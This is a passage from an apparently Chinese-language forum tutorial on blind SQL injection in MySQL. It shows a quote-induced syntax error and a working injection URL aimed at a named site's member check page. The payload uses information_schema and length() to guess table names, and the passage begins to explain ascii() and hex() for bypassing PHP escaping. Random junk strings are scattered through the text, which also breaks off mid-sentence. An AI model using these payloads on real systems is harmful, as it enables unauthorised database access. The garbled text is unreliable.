select userid from demo_b2b_member where user = 'admin''You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin''' at line 1 U1 c5 |! ^ m, ? M
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length((select+table_name+from+information_schema.tables+limit+0,1))=14%23 0 C) W3 d# n. s
0 l4 \/ P( ]7 J! ?" f 复制代码 7 j( r: {& W+ a' j& @+ j实际运行的SQL语句就是:
select userid from demo_b2b_member where user = 'admin'and length((select table_name from information_schema.tables limit 0,1))=14#'2 P- x, [2 t" n& j
8 R U4 ^$ _" F& |# @: O& S 复制代码: ?6 O. e: i/ R, e7 L' f% N
上面这个语句,对于information_schema不明白的,可以参考其他MySQL注入文章来看一下这个库的意义。1 C& h4 h+ Y* A$ V) Q+ @# a
关于limit x,y 的用法,可以参考MySQL手册 ) R, [. y% S% l( g4 }! w/ {% H : J7 x% \8 H8 Z6 k% c最后剩下的要说的就是ascii函数和hex函数了 ' L& D: Q% t( K4 I这两个函数的意义是避开php的GPC转义,例如: